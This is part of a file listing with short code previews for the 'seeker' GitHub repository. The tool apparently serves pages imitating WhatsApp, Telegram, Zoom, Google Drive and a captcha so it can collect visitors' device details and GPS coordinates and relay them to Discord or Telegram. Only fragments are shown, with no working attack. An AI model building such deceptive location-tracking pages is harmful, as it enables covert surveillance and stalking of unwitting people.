"preview": "FROM alpine:latest\nRUN apk update \nRUN apk add --no-cache \\\ngit \\\nbash \\\nmusl-dev \\\nlinux-headers \\\npython3 \\\npy3-pip gc"
},
{
"path": "Dockerfile.dev",
"chars": 306,
"preview": "FROM alpine:latest\nRUN apk update \nRUN apk add --no-cache \\\ngit \\\nbash \\\nmusl-dev \\\nlinux-headers \\\npython3 \\\npy3-pip gc"
},
{
"path": "LICENSE",
"chars": 1068,
"preview": "MIT License\n\nCopyright (c) 2019 thewhiteh4t\n\nPermission is hereby granted, free of charge, to any person obtaining a cop"
},
{
"path": "README.md",
"chars": 8356,
"preview": "<p align=\"center\"><img src=\"https://i.imgur.com/DIpuNTI.jpg\"></p>\n\n<p align=\"center\">\n <a href=\"https://twitter.com/t"
},
{
"path": "createTemplate.md",
"chars": 1975,
"preview": "# How-to create template\n\nOnce your template is working perfect, do not forget to submit it to the community via a Pull "
},
{
"path": "discord_webhook.py",
"chars": 5337,
"preview": "#!/usr/bin/env python3\n\nimport requests\nfrom json import dumps, loads\n\n\ndef discord_sender(url, msg_type, content):\n "
},
{
"path": "install.sh",
"chars": 2602,
"preview": "#!/usr/bin/env bash\n\nLOG_DIR=$PWD/logs\nDB_DIR=$PWD/db\nILOG=$LOG_DIR/install.log\n\nmkdir -p $LOG_DIR $DB_DIR\n\nstatus_check"
},
{
"path": "js/location.js",
"chars": 4044,
"preview": "function information() {\n var ptf = navigator.platform;\n var cc = navigator.hardwareConcurrency;\n var ram = navigator"
},
{
"path": "metadata.json",
"chars": 151,
"preview": "{\n\t\"name\": \"seeker\",\n\t\"author\": \"thewhiteh4t\",\n\t\"version\": \"1.3.1\",\n\t\"twitter\": \"https://twitter.com/thewhiteh4t\",\n\t\"com"
},
{
"path": "php/error.php",
"chars": 297,
"preview": "<?php\nheader('Content-Type: text/html');\n{\n $err_status = $_POST['Status'];\n $err_text = $_POST['Error'];\n\n $f = fope"
},
{
"path": "php/info.php",
"chars": 1215,
"preview": "<?php\nheader('Content-Type: text/html');\n{\n $ptf = $_POST['Ptf'];\n $brw = $_POST['Brw'];\n $cc = $_POST['Cc'];\n $ram "
},
{
"path": "php/result.php",
"chars": 508,
"preview": "<?php\nheader('Content-Type: text/html');\n{\n $ok_status = $_POST['Status'];\n $lat = $_POST['Lat'];\n $lon = $_POST['Lon"
},
{
"path": "seeker.py",
"chars": 15861,
"preview": "#!/usr/bin/env python3\n\nVERSION = '1.3.1'\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\03"
},
{
"path": "telegram_api.py",
"chars": 2095,
"preview": "import utils\nimport requests\nfrom json import dumps, loads\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m'"
},
{
"path": "template/captcha/anchor.html",
"chars": 3283,
"preview": "<html dir=\"ltr\" lang=\"en\">\n <head>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n <meta ht"
},
{
"path": "template/captcha/css/styles__ltr.css",
"chars": 52524,
"preview": ".goog-inline-block{position:relative;display:-moz-inline-box;display:inline-block}* html .goog-inline-block{display:inli"
},
{
"path": "template/captcha/index_temp.html",
"chars": 3714,
"preview": "<html>\n <head>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">\n <meta name=\"viewport\" conten"
},
{
"path": "template/captcha/js/main_temp.js",
"chars": 3404,
"preview": "function loading(){\n document.getElementById('recaptcha-anchor').outerHTML='<span role=\"checkbox\" aria-checked=\"true\""
},
{
"path": "template/custom_og_tags/index_temp.html",
"chars": 806,
"preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<meta property=\"og:title\" content=\"$TITLE$\">\n\t<meta property=\"og:site_name\" con"
},
{
"path": "template/gdrive/css/main.css",
"chars": 3299,
"preview": "@font-face {\n\tfont-family: Product Sans;\n\tfont-style: normal;\n \tfont-weight: 400;\n\tsrc: url('/fonts/pxiDypQkot1TnFhsFMO"
},
{
"path": "template/gdrive/index_temp.html",
"chars": 1680,
"preview": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<meta name=\"description\" content=\"Web word processing, presentations and spread"
},
{
"path": "template/mod_captcha.py",
"chars": 1245,
"preview": "#!/usr/bin/env python3\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\0"
},
{
"path": "template/mod_custom_og_tags.py",
"chars": 1865,
"preview": "#!/usr/bin/env python3\n\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\"
},
{
"path": "template/mod_gdrive.py",
"chars": 748,
"preview": "#!/usr/bin/env python3\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\0"
},
{
"path": "template/mod_nearyou.py",
"chars": 477,
"preview": "#!/usr/bin/env python3\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\0"
},
{
"path": "template/mod_telegram.py",
"chars": 1941,
"preview": "#!/usr/bin/env python3\n\nimport os\nimport shutil\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m'"
},
{
"path": "template/mod_whatsapp.py",
"chars": 1262,
"preview": "#!/usr/bin/env python3\n\nimport os\nimport shutil\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m'"
},
{
"path": "template/mod_whatsapp_redirect.py",
"chars": 1547,
"preview": "#!/usr/bin/env python3\n\nimport os\nimport shutil\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m'"
},
{
"path": "template/mod_zoom.py",
"chars": 471,
"preview": "#!/usr/bin/env python3\nimport os\nimport utils\n\nR = '\\033[31m' # red\nG = '\\033[32m' # green\nC = '\\033[36m' # cyan\nW = '\\0"
},
{
"path": "template/nearyou/css/main.css",
"chars": 1818,
"preview": "html, body\n{\n height: 100%;\n}\nbody\n{\n background-color: #000000;\n margin: auto;\n overflow: hidden;\n}\nh1\n{\n font-fam"
},
{
"path": "template/nearyou/index_temp.html",
"chars": 1818,
"preview": "<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <title>Near You | Meet New People, Make New Friends</title>\n <meta char"
},
{
"path": "template/sample.kml",
"chars": 644,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<kml xmlns=\"http://www.opengis.net/kml/2.2\">\n\t<Document>\n \t<Style id=\"icon\">\n "
},
{
"path": "template/telegram/css/css",
"chars": 446,
"preview": "@font-face {\n font-family: 'Roboto';\n font-style: normal;\n font-weight: 400;\n src: local('Roboto'), local('Roboto-Re"
},
{
"path": "template/telegram/css/telegram.css",
"chars": 77588,
"preview": "body {\n font: 12px/18px \"Lucida Grande\", \"Lucida Sans Unicode\", Arial, Helvetica, Verdana, sans-serif;\n /*-webkit-font"
},
{
"path": "template/telegram/index_temp.html",
"chars": 3944,
"preview": "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\"/>\n <title>Telegram: Contact @$TITLE$</title>\n <meta cont"
},
{
"path": "template/templates.json",
"chars": 1118,
"preview": "{\n \"templates\": [\n {\n \"name\": \"NearYou\",\n \"dir_name\": \"nearyou\",\n \"import_fil"
},
{
"path": "template/whatsapp/css/Epf3I8GM5jv.css",
"chars": 23177,
"preview": "._2e42 {\n box-sizing: border-box\n}\n\nhtml {\n touch-action: manipulation\n}\n\nbody {\n background: #fff;\n color: "
},
{
"path": "template/whatsapp/css/s9hWiNS5894.css",
"chars": 274824,
"preview": "._2ywh {\n display: block !important\n}\n\n._2ywk ._2yyj:after,\n._2ywk ._2ywp:after,\n._2ywk ._7ykn:after,\n._2ywk ._2yyk:a"
},
{
"path": "template/whatsapp/index_temp.html",
"chars": 14439,
"preview": "<!DOCTYPE html>\n<html class=\"\" id=\"facebook\" lang=\"en\">\n <head>\n <meta charset=\"utf-8\"/>\n <meta content"
},
{
"path": "template/whatsapp_redirect/css/Epf3I8GM5jv.css",
"chars": 23177,
"preview": "._2e42 {\n box-sizing: border-box\n}\n\nhtml {\n touch-action: manipulation\n}\n\nbody {\n background: #fff;\n color: "
},
{
"path": "template/whatsapp_redirect/css/s9hWiNS5894.css",
"chars": 274824,
"preview": "._2ywh {\n display: block !important\n}\n\n._2ywk ._2yyj:after,\n._2ywk ._2ywp:after,\n._2ywk ._7ykn:after,\n._2ywk ._2yyk:a"
},
{
"path": "template/whatsapp_redirect/index_temp.html",
"chars": 13973,
"preview": "<!DOCTYPE html>\n<html class=\"\" id=\"facebook\" lang=\"en\">\n <head>\n <meta charset=\"utf-8\"/>\n <meta content"
},
{
"path": "template/zoom/index_temp.html",
"chars": 25761,
"preview": "<!DOCTYPE html>\n<html lang=\"en-US\">\n<head>\n <meta http-equiv=\"content-type\" content=\"text/html;charset=utf-8\">\n <meta "
},
{
"path": "utils.py",
"chars": 556,
"preview": "#!/usr/bin/env python3\nimport requests\nimport uuid\nimport sys\nimport re\nimport builtins\n\n\ndef downloadImageFromUrl(url, "
}
]
About this extraction
This page contains the full source code of the thewhiteh4t/seeker GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 49 files (841.6 KB), approximately 327.8k tokens, and a symbol index with 29 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.